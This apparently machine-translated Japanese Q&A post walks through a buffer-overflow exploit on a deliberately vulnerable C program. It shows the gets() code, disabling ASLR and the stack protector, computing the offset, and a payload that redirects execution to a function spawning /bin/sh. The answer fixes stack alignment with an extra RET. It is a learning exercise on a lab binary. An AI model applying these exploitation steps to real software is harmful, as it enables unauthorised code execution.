私は教育目的でバッファオーバーフローの脆弱性を悪用しています。私の目標は、RIPを変更し、邪悪な機能をターゲットにシェルを実行することです。私はUbuntu 18.04 64ビットを使用しています。 code.cは次のようになります。
#include <stdio.h>
#include <stdlib.h>
void main(void)
{
char buf[20];
printf("Give me your name: ");
gets(buf);
printf("\nYour name is %s\n", buf);
return;
}
void evil(){
printf("Evil function entered\n");
system("/bin/sh");
printf("Evil function exited\n");
return;
}
作業を容易にするために、カナリアを無効にするGCCオプションを使用してこのコードをコンパイルしました-fno-stack-protector
。また、次のコマンドを使用してASLRを無効にしましたsudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
。したがって、プログラムのメモリアドレスは絶対に変更されず、操作がはるかに簡単になります。
code.cのコンパイル済みバージョンでは、GDBを介して次の情報を取得しました。
バッファは次から始まります。0x7fffffffde80
RIP は次の場所に保存されます。0x7fffffffdea8
0x7fffffffdea8 - 0x7fffffffde80 = 40
。したがって、40バイトのパディングを挿入する必要があります。
邪悪な関数の入り口は にあり、0x55555555475f
リトルエンディアンでは次のようになります。
\x5f\x47\x55\x55\x55\x55\x00\x00
(2 つの \x00 を追加して 8 バイトのアドレス全体を構成します。)
最終的なペイロードは次のとおりです。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00
これでファイルに保存します。
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x5f\x47\x55\x55\x55\x55\x00\x00" > input.txt
最後に、プログラムを実行し、input.txt
コンテンツを入力として渡します。
cat input.txt - | ./code
-
気づく猫が出ることを防ぐ。
私の端末には次のものが表示されます。
Give me your name:
Your name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_GUUUU
Evil function entered
Evil function exited
Program received signal SIGSEGV. Segmentation fault. Core dumped.
驚くべきことに、邪悪な機能は実行されますが、/bin/sh
ポップアップにはなりません。ユーザーにコマンドを要求せずにすぐに終了します。ある時点で、標準入力が端末から切り離されているようです。
問題は、コマンドを実行するためにシェルをポップアップする方法です。これは一種のセキュリティ保護ですか?
ありがとうございます。
答え1
ついにこの問題を解決しました。
スタックが16バイトにソートされていない場合、Cライブラリのsystem()関数は実行されません。
私の場合、スタックを16バイトの境界に揃えるのを忘れてしまったため、system("/bin/sh");
正しく実行されず、シェルがトリガーできません。
実際、x86-64ではSystem V ABIでは、スタックは16バイトにソートする必要があります。CALLアセンブリコマンドを実行する前。それ以外の場合、結果は予測できません。したがって、これはsystem()関数にのみ適用されるのではなく、すべての関数に適用されます。
私のスタックは8バイトにソートされていないため、ROPチェーンに追加のRETを追加するとスタックが正しくソートされます。
今私は成功しました。